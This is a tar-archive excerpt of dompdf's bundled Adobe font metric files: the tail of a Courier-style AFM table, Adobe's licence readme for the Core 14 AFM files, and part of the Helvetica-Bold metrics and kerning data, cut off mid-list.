C 243 ; WX 600 ; N oacute ; B 62 -15 538 672 ;
C -1 ; WX 600 ; N amacron ; B 53 -15 559 565 ;
C -1 ; WX 600 ; N sacute ; B 80 -15 513 672 ;
C 239 ; WX 600 ; N idieresis ; B 95 0 505 620 ;
C 212 ; WX 600 ; N Ocircumflex ; B 43 -18 557 787 ;
C 217 ; WX 600 ; N Ugrave ; B 17 -18 583 805 ;
C -1 ; WX 600 ; N Delta ; B 6 0 598 688 ;
C 254 ; WX 600 ; N thorn ; B -6 -157 555 629 ;
C 178 ; WX 600 ; N twosuperior ; B 177 249 424 622 ;
C 214 ; WX 600 ; N Odieresis ; B 43 -18 557 753 ;
C 181 ; WX 600 ; N mu ; B 21 -157 562 426 ;
C 236 ; WX 600 ; N igrave ; B 95 0 505 672 ;
C -1 ; WX 600 ; N ohungarumlaut ; B 62 -15 580 672 ;
C -1 ; WX 600 ; N Eogonek ; B 53 -172 561 562 ;
C -1 ; WX 600 ; N dcroat ; B 45 -15 591 629 ;
C 190 ; WX 600 ; N threequarters ; B 8 -56 593 666 ;
C -1 ; WX 600 ; N Scedilla ; B 72 -151 529 580 ;
C -1 ; WX 600 ; N lcaron ; B 95 0 533 629 ;
C -1 ; WX 600 ; N Kcommaaccent ; B 38 -250 582 562 ;
C -1 ; WX 600 ; N Lacute ; B 47 0 554 805 ;
C 153 ; WX 600 ; N trademark ; B -23 263 623 562 ;
C -1 ; WX 600 ; N edotaccent ; B 66 -15 548 620 ;
C 204 ; WX 600 ; N Igrave ; B 96 0 504 805 ;
C -1 ; WX 600 ; N Imacron ; B 96 0 504 698 ;
C -1 ; WX 600 ; N Lcaron ; B 47 0 554 562 ;
C 189 ; WX 600 ; N onehalf ; B 0 -57 611 665 ;
C -1 ; WX 600 ; N lessequal ; B 98 0 502 710 ;
C 244 ; WX 600 ; N ocircumflex ; B 62 -15 538 654 ;
C 241 ; WX 600 ; N ntilde ; B 26 0 575 606 ;
C -1 ; WX 600 ; N Uhungarumlaut ; B 17 -18 590 805 ;
C 201 ; WX 600 ; N Eacute ; B 53 0 550 805 ;
C -1 ; WX 600 ; N emacron ; B 66 -15 548 565 ;
C -1 ; WX 600 ; N gbreve ; B 45 -157 566 609 ;
C 188 ; WX 600 ; N onequarter ; B 0 -57 600 665 ;
C 138 ; WX 600 ; N Scaron ; B 72 -20 529 802 ;
C -1 ; WX 600 ; N Scommaaccent ; B 72 -250 529 580 ;
C -1 ; WX 600 ; N Ohungarumlaut ; B 43 -18 580 805 ;
C 176 ; WX 600 ; N degree ; B 123 269 477 622 ;
C 242 ; WX 600 ; N ograve ; B 62 -15 538 672 ;
C -1 ; WX 600 ; N Ccaron ; B 41 -18 540 802 ;
C 249 ; WX 600 ; N ugrave ; B 21 -15 562 672 ;
C -1 ; WX 600 ; N radical ; B 3 -15 597 792 ;
C -1 ; WX 600 ; N Dcaron ; B 43 0 574 802 ;
C -1 ; WX 600 ; N rcommaaccent ; B 60 -250 559 441 ;
C 209 ; WX 600 ; N Ntilde ; B 7 -13 593 729 ;
C 245 ; WX 600 ; N otilde ; B 62 -15 538 606 ;
C -1 ; WX 600 ; N Rcommaaccent ; B 38 -250 588 562 ;
C -1 ; WX 600 ; N Lcommaaccent ; B 47 -250 554 562 ;
C 195 ; WX 600 ; N Atilde ; B 3 0 597 729 ;
C -1 ; WX 600 ; N Aogonek ; B 3 -172 608 562 ;
C 197 ; WX 600 ; N Aring ; B 3 0 597 750 ;
C 213 ; WX 600 ; N Otilde ; B 43 -18 557 729 ;
C -1 ; WX 600 ; N zdotaccent ; B 99 0 502 620 ;
C -1 ; WX 600 ; N Ecaron ; B 53 0 550 802 ;
C -1 ; WX 600 ; N Iogonek ; B 96 -172 504 562 ;
C -1 ; WX 600 ; N kcommaaccent ; B 43 -250 580 629 ;
C -1 ; WX 600 ; N minus ; B 80 232 520 283 ;
C 206 ; WX 600 ; N Icircumflex ; B 96 0 504 787 ;
C -1 ; WX 600 ; N ncaron ; B 26 0 575 669 ;
C -1 ; WX 600 ; N tcommaaccent ; B 87 -250 530 561 ;
C 172 ; WX 600 ; N logicalnot ; B 87 108 513 369 ;
C 246 ; WX 600 ; N odieresis ; B 62 -15 538 620 ;
C 252 ; WX 600 ; N udieresis ; B 21 -15 562 620 ;
C -1 ; WX 600 ; N notequal ; B 15 -16 540 529 ;
C -1 ; WX 600 ; N gcommaaccent ; B 45 -157 566 708 ;
C 240 ; WX 600 ; N eth ; B 62 -15 538 629 ;
C 158 ; WX 600 ; N zcaron ; B 99 0 502 669 ;
C -1 ; WX 600 ; N ncommaaccent ; B 26 -250 575 441 ;
C 185 ; WX 600 ; N onesuperior ; B 172 249 428 622 ;
C -1 ; WX 600 ; N imacron ; B 95 0 505 565 ;
C 128 ; WX 600 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/mustRead.html000066600000002020151150442770015140 0ustar00<html>
	<head>
		<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
		<meta name="generator" content="Adobe GoLive 4">
		<title>Core 14 AFM Files - ReadMe</title>
	</head>
	<body bgcolor="white">
		<font color="white">or</font>
		<table border="0" cellpadding="0" cellspacing="2">
			<tr>
				<td width="40"></td>
				<td width="300">This file and the 14 PostScript(R) AFM files it accompanies may be used, copied, and distributed for any purpose and without charge, with or without modification, provided that all copyright notices are retained; that the AFM files are not distributed without this file; that all modifications to this file or any of the AFM files are prominently noted in the modified file(s); and that this paragraph is not modified. Adobe Systems has no responsibility or obligation to support the use of the AFM files. <font color="white">Col</font></td>
			</tr>
		</table>
		<p>Source <a href="http://www.adobe.com/devnet/font/#pcfi">http://www.adobe.com/devnet/font/#pcfi</a></p>
</body>
</html>vendor/dompdf/dompdf/lib/fonts/Helvetica-Bold.afm000066600000215064151150442770015753 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:43:52 1997
Comment UniqueID 43052
Comment VMusage 37169 48194
FontName Helvetica-Bold
FullName Helvetica Bold
FamilyName Helvetica
Weight Bold
ItalicAngle 0
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -170 -228 1003 962
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 718
XHeight 532
Ascender 718
Descender -207
StdHW 118
StdVW 140
StartCharMetrics 317
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 160 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 90 0 244 718 ;
C 34 ; WX 474 ; N quotedbl ; B 98 447 376 718 ;
C 35 ; WX 556 ; N numbersign ; B 18 0 538 698 ;
C 36 ; WX 556 ; N dollar ; B 30 -115 523 775 ;
C 37 ; WX 889 ; N percent ; B 28 -19 861 710 ;
C 38 ; WX 722 ; N ampersand ; B 54 -19 701 718 ;
C 146 ; WX 278 ; N quoteright ; B 69 445 209 718 ;
C 40 ; WX 333 ; N parenleft ; B 35 -208 314 734 ;
C 41 ; WX 333 ; N parenright ; B 19 -208 298 734 ;
C 42 ; WX 389 ; N asterisk ; B 27 387 362 718 ;
C 43 ; WX 584 ; N plus ; B 40 0 544 506 ;
C 44 ; WX 278 ; N comma ; B 64 -168 214 146 ;
C 45 ; WX 333 ; N hyphen ; B 27 215 306 345 ;
C 173 ; WX 333 ; N hyphen ; B 44 232 289 322 ;
C 46 ; WX 278 ; N period ; B 64 0 214 146 ;
C 47 ; WX 278 ; N slash ; B -33 -19 311 737 ;
C 48 ; WX 556 ; N zero ; B 32 -19 524 710 ;
C 49 ; WX 556 ; N one ; B 69 0 378 710 ;
C 50 ; WX 556 ; N two ; B 26 0 511 710 ;
C 51 ; WX 556 ; N three ; B 27 -19 516 710 ;
C 52 ; WX 556 ; N four ; B 27 0 526 710 ;
C 53 ; WX 556 ; N five ; B 27 -19 516 698 ;
C 54 ; WX 556 ; N six ; B 31 -19 520 710 ;
C 55 ; WX 556 ; N seven ; B 25 0 528 698 ;
C 56 ; WX 556 ; N eight ; B 32 -19 524 710 ;
C 57 ; WX 556 ; N nine ; B 30 -19 522 710 ;
C 58 ; WX 333 ; N colon ; B 92 0 242 512 ;
C 59 ; WX 333 ; N semicolon ; B 92 -168 242 512 ;
C 60 ; WX 584 ; N less ; B 38 -8 546 514 ;
C 61 ; WX 584 ; N equal ; B 40 87 544 419 ;
C 62 ; WX 584 ; N greater ; B 38 -8 546 514 ;
C 63 ; WX 611 ; N question ; B 60 0 556 727 ;
C 64 ; WX 975 ; N at ; B 118 -19 856 737 ;
C 65 ; WX 722 ; N A ; B 20 0 702 718 ;
C 66 ; WX 722 ; N B ; B 76 0 669 718 ;
C 67 ; WX 722 ; N C ; B 44 -19 684 737 ;
C 68 ; WX 722 ; N D ; B 76 0 685 718 ;
C 69 ; WX 667 ; N E ; B 76 0 621 718 ;
C 70 ; WX 611 ; N F ; B 76 0 587 718 ;
C 71 ; WX 778 ; N G ; B 44 -19 713 737 ;
C 72 ; WX 722 ; N H ; B 71 0 651 718 ;
C 73 ; WX 278 ; N I ; B 64 0 214 718 ;
C 74 ; WX 556 ; N J ; B 22 -18 484 718 ;
C 75 ; WX 722 ; N K ; B 87 0 722 718 ;
C 76 ; WX 611 ; N L ; B 76 0 583 718 ;
C 77 ; WX 833 ; N M ; B 69 0 765 718 ;
C 78 ; WX 722 ; N N ; B 69 0 654 718 ;
C 79 ; WX 778 ; N O ; B 44 -19 734 737 ;
C 80 ; WX 667 ; N P ; B 76 0 627 718 ;
C 81 ; WX 778 ; N Q ; B 44 -52 737 737 ;
C 82 ; WX 722 ; N R ; B 76 0 677 718 ;
C 83 ; WX 667 ; N S ; B 39 -19 629 737 ;
C 84 ; WX 611 ; N T ; B 14 0 598 718 ;
C 85 ; WX 722 ; N U ; B 72 -19 651 718 ;
C 86 ; WX 667 ; N V ; B 19 0 648 718 ;
C 87 ; WX 944 ; N W ; B 16 0 929 718 ;
C 88 ; WX 667 ; N X ; B 14 0 653 718 ;
C 89 ; WX 667 ; N Y ; B 15 0 653 718 ;
C 90 ; WX 611 ; N Z ; B 25 0 586 718 ;
C 91 ; WX 333 ; N bracketleft ; B 63 -196 309 722 ;
C 92 ; WX 278 ; N backslash ; B -33 -19 311 737 ;
C 93 ; WX 333 ; N bracketright ; B 24 -196 270 722 ;
C 94 ; WX 584 ; N asciicircum ; B 62 323 522 698 ;
C 95 ; WX 556 ; N underscore ; B 0 -125 556 -75 ;
C 145 ; WX 278 ; N quoteleft ; B 69 454 209 727 ;
C 97 ; WX 556 ; N a ; B 29 -14 527 546 ;
C 98 ; WX 611 ; N b ; B 61 -14 578 718 ;
C 99 ; WX 556 ; N c ; B 34 -14 524 546 ;
C 100 ; WX 611 ; N d ; B 34 -14 551 718 ;
C 101 ; WX 556 ; N e ; B 23 -14 528 546 ;
C 102 ; WX 333 ; N f ; B 10 0 318 727 ; L i fi ; L l fl ;
C 103 ; WX 611 ; N g ; B 40 -217 553 546 ;
C 104 ; WX 611 ; N h ; B 65 0 546 718 ;
C 105 ; WX 278 ; N i ; B 69 0 209 725 ;
C 106 ; WX 278 ; N j ; B 3 -214 209 725 ;
C 107 ; WX 556 ; N k ; B 69 0 562 718 ;
C 108 ; WX 278 ; N l ; B 69 0 209 718 ;
C 109 ; WX 889 ; N m ; B 64 0 826 546 ;
C 110 ; WX 611 ; N n ; B 65 0 546 546 ;
C 111 ; WX 611 ; N o ; B 34 -14 578 546 ;
C 112 ; WX 611 ; N p ; B 62 -207 578 546 ;
C 113 ; WX 611 ; N q ; B 34 -207 552 546 ;
C 114 ; WX 389 ; N r ; B 64 0 373 546 ;
C 115 ; WX 556 ; N s ; B 30 -14 519 546 ;
C 116 ; WX 333 ; N t ; B 10 -6 309 676 ;
C 117 ; WX 611 ; N u ; B 66 -14 545 532 ;
C 118 ; WX 556 ; N v ; B 13 0 543 532 ;
C 119 ; WX 778 ; N w ; B 10 0 769 532 ;
C 120 ; WX 556 ; N x ; B 15 0 541 532 ;
C 121 ; WX 556 ; N y ; B 10 -214 539 532 ;
C 122 ; WX 500 ; N z ; B 20 0 480 532 ;
C 123 ; WX 389 ; N braceleft ; B 48 -196 365 722 ;
C 124 ; WX 280 ; N bar ; B 84 -225 196 775 ;
C 125 ; WX 389 ; N braceright ; B 24 -196 341 722 ;
C 126 ; WX 584 ; N asciitilde ; B 61 163 523 343 ;
C 161 ; WX 333 ; N exclamdown ; B 90 -186 244 532 ;
C 162 ; WX 556 ; N cent ; B 34 -118 524 628 ;
C 163 ; WX 556 ; N sterling ; B 28 -16 541 718 ;
C -1 ; WX 167 ; N fraction ; B -170 -19 336 710 ;
C 165 ; WX 556 ; N yen ; B -9 0 565 698 ;
C 131 ; WX 556 ; N florin ; B -10 -210 516 737 ;
C 167 ; WX 556 ; N section ; B 34 -184 522 727 ;
C 164 ; WX 556 ; N currency ; B -3 76 559 636 ;
C 39 ; WX 238 ; N quotesingle ; B 70 447 168 718 ;
C 147 ; WX 500 ; N quotedblleft ; B 64 454 436 727 ;
C 171 ; WX 556 ; N guillemotleft ; B 88 76 468 484 ;
C 139 ; WX 333 ; N guilsinglleft ; B 83 76 250 484 ;
C 155 ; WX 333 ; N guilsinglright ; B 83 76 250 484 ;
C -1 ; WX 611 ; N fi ; B 10 0 542 727 ;
C -1 ; WX 611 ; N fl ; B 10 0 542 727 ;
C 150 ; WX 556 ; N endash ; B 0 227 556 333 ;
C 134 ; WX 556 ; N dagger ; B 36 -171 520 718 ;
C 135 ; WX 556 ; N daggerdbl ; B 36 -171 520 718 ;
C 183 ; WX 278 ; N periodcentered ; B 58 172 220 334 ;
C 182 ; WX 556 ; N paragraph ; B -8 -191 539 700 ;
C 149 ; WX 350 ; N bullet ; B 10 194 340 524 ;
C 130 ; WX 278 ; N quotesinglbase ; B 69 -146 209 127 ;
C 132 ; WX 500 ; N quotedblbase ; B 64 -146 436 127 ;
C 148 ; WX 500 ; N quotedblright ; B 64 445 436 718 ;
C 187 ; WX 556 ; N guillemotright ; B 88 76 468 484 ;
C 133 ; WX 1000 ; N ellipsis ; B 92 0 908 146 ;
C 137 ; WX 1000 ; N perthousand ; B -3 -19 1003 710 ;
C 191 ; WX 611 ; N questiondown ; B 55 -195 551 532 ;
C 96 ; WX 333 ; N grave ; B -23 604 225 750 ;
C 180 ; WX 333 ; N acute ; B 108 604 356 750 ;
C 136 ; WX 333 ; N circumflex ; B -10 604 343 750 ;
C 152 ; WX 333 ; N tilde ; B -17 610 350 737 ;
C 175 ; WX 333 ; N macron ; B -6 604 339 678 ;
C -1 ; WX 333 ; N breve ; B -2 604 335 750 ;
C -1 ; WX 333 ; N dotaccent ; B 104 614 230 729 ;
C 168 ; WX 333 ; N dieresis ; B 6 614 327 729 ;
C -1 ; WX 333 ; N ring ; B 59 568 275 776 ;
C 184 ; WX 333 ; N cedilla ; B 6 -228 245 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B 9 604 486 750 ;
C -1 ; WX 333 ; N ogonek ; B 71 -228 304 0 ;
C -1 ; WX 333 ; N caron ; B -10 604 343 750 ;
C 151 ; WX 1000 ; N emdash ; B 0 227 1000 333 ;
C 198 ; WX 1000 ; N AE ; B 5 0 954 718 ;
C 170 ; WX 370 ; N ordfeminine ; B 22 401 347 737 ;
C -1 ; WX 611 ; N Lslash ; B -20 0 583 718 ;
C 216 ; WX 778 ; N Oslash ; B 33 -27 744 745 ;
C 140 ; WX 1000 ; N OE ; B 37 -19 961 737 ;
C 186 ; WX 365 ; N ordmasculine ; B 6 401 360 737 ;
C 230 ; WX 889 ; N ae ; B 29 -14 858 546 ;
C -1 ; WX 278 ; N dotlessi ; B 69 0 209 532 ;
C -1 ; WX 278 ; N lslash ; B -18 0 296 718 ;
C 248 ; WX 611 ; N oslash ; B 22 -29 589 560 ;
C 156 ; WX 944 ; N oe ; B 34 -14 912 546 ;
C 223 ; WX 611 ; N germandbls ; B 69 -14 579 731 ;
C 207 ; WX 278 ; N Idieresis ; B -21 0 300 915 ;
C 233 ; WX 556 ; N eacute ; B 23 -14 528 750 ;
C -1 ; WX 556 ; N abreve ; B 29 -14 527 750 ;
C -1 ; WX 611 ; N uhungarumlaut ; B 66 -14 625 750 ;
C -1 ; WX 556 ; N ecaron ; B 23 -14 528 750 ;
C 159 ; WX 667 ; N Ydieresis ; B 15 0 653 915 ;
C 247 ; WX 584 ; N divide ; B 40 -42 544 548 ;
C 221 ; WX 667 ; N Yacute ; B 15 0 653 936 ;
C 194 ; WX 722 ; N Acircumflex ; B 20 0 702 936 ;
C 225 ; WX 556 ; N aacute ; B 29 -14 527 750 ;
C 219 ; WX 722 ; N Ucircumflex ; B 72 -19 651 936 ;
C 253 ; WX 556 ; N yacute ; B 10 -214 539 750 ;
C -1 ; WX 556 ; N scommaaccent ; B 30 -228 519 546 ;
C 234 ; WX 556 ; N ecircumflex ; B 23 -14 528 750 ;
C -1 ; WX 722 ; N Uring ; B 72 -19 651 962 ;
C 220 ; WX 722 ; N Udieresis ; B 72 -19 651 915 ;
C -1 ; WX 556 ; N aogonek ; B 29 -224 545 546 ;
C 218 ; WX 722 ; N Uacute ; B 72 -19 651 936 ;
C -1 ; WX 611 ; N uogonek ; B 66 -228 545 532 ;
C 203 ; WX 667 ; N Edieresis ; B 76 0 621 915 ;
C -1 ; WX 722 ; N Dcroat ; B -5 0 685 718 ;
C -1 ; WX 250 ; N commaaccent ; B 64 -228 199 -50 ;
C 169 ; WX 737 ; N copyright ; B -11 -19 749 737 ;
C -1 ; WX 667 ; N Emacron ; B 76 0 621 864 ;
C -1 ; WX 556 ; N ccaron ; B 34 -14 524 750 ;
C 229 ; WX 556 ; N aring ; B 29 -14 527 776 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 69 -228 654 718 ;
C -1 ; WX 278 ; N lacute ; B 69 0 329 936 ;
C 224 ; WX 556 ; N agrave ; B 29 -14 527 750 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 14 -228 598 718 ;
C -1 ; WX 722 ; N Cacute ; B 44 -19 684 936 ;
C 227 ; WX 556 ; N atilde ; B 29 -14 527 737 ;
C -1 ; WX 667 ; N Edotaccent ; B 76 0 621 915 ;
C 154 ; WX 556 ; N scaron ; B 30 -14 519 750 ;
C -1 ; WX 556 ; N scedilla ; B 30 -228 519 546 ;
C 237 ; WX 278 ; N iacute ; B 69 0 329 750 ;
C -1 ; WX 494 ; N lozenge ; B 10 0 484 745 ;
C -1 ; WX 722 ; N Rcaron ; B 76 0 677 936 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 44 -228 713 737 ;
C 251 ; WX 611 ; N ucircumflex ; B 66 -14 545 750 ;
C 226 ; WX 556 ; N acircumflex ; B 29 -14 527 750 ;
C -1 ; WX 722 ; N Amacron ; B 20 0 702 864 ;
C -1 ; WX 389 ; N rcaron ; B 18 0 373 750 ;
C 231 ; WX 556 ; N ccedilla ; B 34 -228 524 546 ;
C -1 ; WX 611 ; N Zdotaccent ; B 25 0 586 915 ;
C 222 ; WX 667 ; N Thorn ; B 76 0 627 718 ;
C -1 ; WX 778 ; N Omacron ; B 44 -19 734 864 ;
C -1 ; WX 722 ; N Racute ; B 76 0 677 936 ;
C -1 ; WX 667 ; N Sacute ; B 39 -19 629 936 ;
C -1 ; WX 743 ; N dcaron ; B 34 -14 750 718 ;
C -1 ; WX 722 ; N Umacron ; B 72 -19 651 864 ;
C -1 ; WX 611 ; N uring ; B 66 -14 545 776 ;
C 179 ; WX 333 ; N threesuperior ; B 8 271 326 710 ;
C 210 ; WX 778 ; N Ograve ; B 44 -19 734 936 ;
C 192 ; WX 722 ; N Agrave ; B 20 0 702 936 ;
C -1 ; WX 722 ; N Abreve ; B 20 0 702 936 ;
C 215 ; WX 584 ; N multiply ; B 40 1 545 505 ;
C 250 ; WX 611 ; N uacute ; B 66 -14 545 750 ;
C -1 ; WX 611 ; N Tcaron ; B 14 0 598 936 ;
C -1 ; WX 494 ; N partialdiff ; B 11 -21 494 750 ;
C 255 ; WX 556 ; N ydieresis ; B 10 -214 539 729 ;
C -1 ; WX 722 ; N Nacute ; B 69 0 654 936 ;
C 238 ; WX 278 ; N icircumflex ; B -37 0 316 750 ;
C 202 ; WX 667 ; N Ecircumflex ; B 76 0 621 936 ;
C 228 ; WX 556 ; N adieresis ; B 29 -14 527 729 ;
C 235 ; WX 556 ; N edieresis ; B 23 -14 528 729 ;
C -1 ; WX 556 ; N cacute ; B 34 -14 524 750 ;
C -1 ; WX 611 ; N nacute ; B 65 0 546 750 ;
C -1 ; WX 611 ; N umacron ; B 66 -14 545 678 ;
C -1 ; WX 722 ; N Ncaron ; B 69 0 654 936 ;
C 205 ; WX 278 ; N Iacute ; B 64 0 329 936 ;
C 177 ; WX 584 ; N plusminus ; B 40 0 544 506 ;
C 166 ; WX 280 ; N brokenbar ; B 84 -150 196 700 ;
C 174 ; WX 737 ; N registered ; B -11 -19 748 737 ;
C -1 ; WX 778 ; N Gbreve ; B 44 -19 713 936 ;
C -1 ; WX 278 ; N Idotaccent ; B 64 0 214 915 ;
C -1 ; WX 600 ; N summation ; B 14 -10 585 706 ;
C 200 ; WX 667 ; N Egrave ; B 76 0 621 936 ;
C -1 ; WX 389 ; N racute ; B 64 0 384 750 ;
C -1 ; WX 611 ; N omacron ; B 34 -14 578 678 ;
C -1 ; WX 611 ; N Zacute ; B 25 0 586 936 ;
C 142 ; WX 611 ; N Zcaron ; B 25 0 586 936 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 704 ;
C 208 ; WX 722 ; N Eth ; B -5 0 685 718 ;
C 199 ; WX 722 ; N Ccedilla ; B 44 -228 684 737 ;
C -1 ; WX 278 ; N lcommaaccent ; B 69 -228 213 718 ;
C -1 ; WX 389 ; N tcaron ; B 10 -6 421 878 ;
C -1 ; WX 556 ; N eogonek ; B 23 -228 528 546 ;
C -1 ; WX 722 ; N Uogonek ; B 72 -228 651 718 ;
C 193 ; WX 722 ; N Aacute ; B 20 0 702 936 ;
C 196 ; WX 722 ; N Adieresis ; B 20 0 702 915 ;
C 232 ; WX 556 ; N egrave ; B 23 -14 528 750 ;
C -1 ; WX 500 ; N zacute ; B 20 0 480 750 ;
C -1 ; WX 278 ; N iogonek ; B 16 -224 249 725 ;
C 211 ; WX 778 ; N Oacute ; B 44 -19 734 936 ;
C 243 ; WX 611 ; N oacute ; B 34 -14 578 750 ;
C -1 ; WX 556 ; N amacron ; B 29 -14 527 678 ;
C -1 ; WX 556 ; N sacute ; B 30 -14 519 750 ;
C 239 ; WX 278 ; N idieresis ; B -21 0 300 729 ;
C 212 ; WX 778 ; N Ocircumflex ; B 44 -19 734 936 ;
C 217 ; WX 722 ; N Ugrave ; B 72 -19 651 936 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 611 ; N thorn ; B 62 -208 578 718 ;
C 178 ; WX 333 ; N twosuperior ; B 9 283 324 710 ;
C 214 ; WX 778 ; N Odieresis ; B 44 -19 734 915 ;
C 181 ; WX 611 ; N mu ; B 66 -207 545 532 ;
C 236 ; WX 278 ; N igrave ; B -50 0 209 750 ;
C -1 ; WX 611 ; N ohungarumlaut ; B 34 -14 625 750 ;
C -1 ; WX 667 ; N Eogonek ; B 76 -224 639 718 ;
C -1 ; WX 611 ; N dcroat ; B 34 -14 650 718 ;
C 190 ; WX 834 ; N threequarters ; B 16 -19 799 710 ;
C -1 ; WX 667 ; N Scedilla ; B 39 -228 629 737 ;
C -1 ; WX 400 ; N lcaron ; B 69 0 408 718 ;
C -1 ; WX 722 ; N Kcommaaccent ; B 87 -228 722 718 ;
C -1 ; WX 611 ; N Lacute ; B 76 0 583 936 ;
C 153 ; WX 1000 ; N trademark ; B 44 306 956 718 ;
C -1 ; WX 556 ; N edotaccent ; B 23 -14 528 729 ;
C 204 ; WX 278 ; N Igrave ; B -50 0 214 936 ;
C -1 ; WX 278 ; N Imacron ; B -33 0 312 864 ;
C -1 ; WX 611 ; N Lcaron ; B 76 0 583 718 ;
C 189 ; WX 834 ; N onehalf ; B 26 -19 794 710 ;
C -1 ; WX 549 ; N lessequal ; B 29 0 526 704 ;
C 244 ; WX 611 ; N ocircumflex ; B 34 -14 578 750 ;
C 241 ; WX 611 ; N ntilde ; B 65 0 546 737 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 72 -19 681 936 ;
C 201 ; WX 667 ; N Eacute ; B 76 0 621 936 ;
C -1 ; WX 556 ; N emacron ; B 23 -14 528 678 ;
C -1 ; WX 611 ; N gbreve ; B 40 -217 553 750 ;
C 188 ; WX 834 ; N onequarter ; B 26 -19 766 710 ;
C 138 ; WX 667 ; N Scaron ; B 39 -19 629 936 ;
C -1 ; WX 667 ; N Scommaaccent ; B 39 -228 629 737 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 44 -19 734 936 ;
C 176 ; WX 400 ; N degree ; B 57 426 343 712 ;
C 242 ; WX 611 ; N ograve ; B 34 -14 578 750 ;
C -1 ; WX 722 ; N Ccaron ; B 44 -19 684 936 ;
C 249 ; WX 611 ; N ugrave ; B 66 -14 545 750 ;
C -1 ; WX 549 ; N radical ; B 10 -46 512 850 ;
C -1 ; WX 722 ; N Dcaron ; B 76 0 685 936 ;
C -1 ; WX 389 ; N rcommaaccent ; B 64 -228 373 546 ;
C 209 ; WX 722 ; N Ntilde ; B 69 0 654 923 ;
C 245 ; WX 611 ; N otilde ; B 34 -14 578 737 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 76 -228 677 718 ;
C -1 ; WX 611 ; N Lcommaaccent ; B 76 -228 583 718 ;
C 195 ; WX 722 ; N Atilde ; B 20 0 702 923 ;
C -1 ; WX 722 ; N Aogonek ; B 20 -224 742 718 ;
C 197 ; WX 722 ; N Aring ; B 20 0 702 962 ;
C 213 ; WX 778 ; N Otilde ; B 44 -19 734 923 ;
C -1 ; WX 500 ; N zdotaccent ; B 20 0 480 729 ;
C -1 ; WX 667 ; N Ecaron ; B 76 0 621 936 ;
C -1 ; WX 278 ; N Iogonek ; B -11 -228 222 718 ;
C -1 ; WX 556 ; N kcommaaccent ; B 69 -228 562 718 ;
C -1 ; WX 584 ; N minus ; B 40 197 544 309 ;
C 206 ; WX 278 ; N Icircumflex ; B -37 0 316 936 ;
C -1 ; WX 611 ; N ncaron ; B 65 0 546 750 ;
C -1 ; WX 333 ; N tcommaaccent ; B 10 -228 309 676 ;
C 172 ; WX 584 ; N logicalnot ; B 40 108 544 419 ;
C 246 ; WX 611 ; N odieresis ; B 34 -14 578 729 ;
C 252 ; WX 611 ; N udieresis ; B 66 -14 545 729 ;
C -1 ; WX 549 ; N notequal ; B 15 -49 540 570 ;
C -1 ; WX 611 ; N gcommaaccent ; B 40 -217 553 850 ;
C 240 ; WX 611 ; N eth ; B 34 -14 578 737 ;
C 158 ; WX 500 ; N zcaron ; B 20 0 480 750 ;
C -1 ; WX 611 ; N ncommaaccent ; B 65 -228 546 546 ;
C 185 ; WX 333 ; N onesuperior ; B 26 283 237 710 ;
C -1 ; WX 278 ; N imacron ; B -8 0 285 678 ;
C 128 ; WX 556 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2481
KPX A C -40
KPX A Cacute -40
KPX A Ccaron -40
KPX A Ccedilla -40
KPX A G -50
KPX A Gbreve -50
KPX A Gcommaaccent -50
KPX A O -40
KPX A Oacute -40
KPX A Ocircumflex -40
KPX A Odieresis -40
KPX A Ograve -40
KPX A Ohungarumlaut -40
KPX A Omacron -40
KPX A Oslash -40
KPX A Otilde -40
KPX A Q -40
KPX A T -90
KPX A Tcaron -90
KPX A Tcommaaccent -90
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -80
KPX A W -60
KPX A Y -110
KPX A Yacute -110
KPX A Ydieresis -110
KPX A u -30
KPX A uacute -30
KPX A ucircumflex -30
KPX A udieresis -30
KPX A ugrave -30
KPX A uhungarumlaut -30
KPX A umacron -30
KPX A uogonek -30
KPX A uring -30
KPX A v -40
KPX A w -30
KPX A y -30
KPX A yacute -30
KPX A ydieresis -30
KPX Aacute C -40
KPX Aacute Cacute -40
KPX Aacute Ccaron -40
KPX Aacute Ccedilla -40
KPX Aacute G -50
KPX Aacute Gbreve -50
KPX Aacute Gcommaaccent -50
KPX Aacute O -40
KPX Aacute Oacute -40
KPX Aacute Ocircumflex -40
KPX Aacute Odieresis -40
KPX Aacute Ograve -40
KPX Aacute Ohungarumlaut -40
KPX Aacute Omacron -40
KPX Aacute Oslash -40
KPX Aacute Otilde -40
KPX Aacute Q -40
KPX Aacute T -90
KPX Aacute Tcaron -90
KPX Aacute Tcommaaccent -90
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -80
KPX Aacute W -60
KPX Aacute Y -110
KPX Aacute Yacute -110
KPX Aacute Ydieresis -110
KPX Aacute u -30
KPX Aacute uacute -30
KPX Aacute ucircumflex -30
KPX Aacute udieresis -30
KPX Aacute ugrave -30
KPX Aacute uhungarumlaut -30
KPX Aacute umacron -30
KPX Aacute uogonek -30
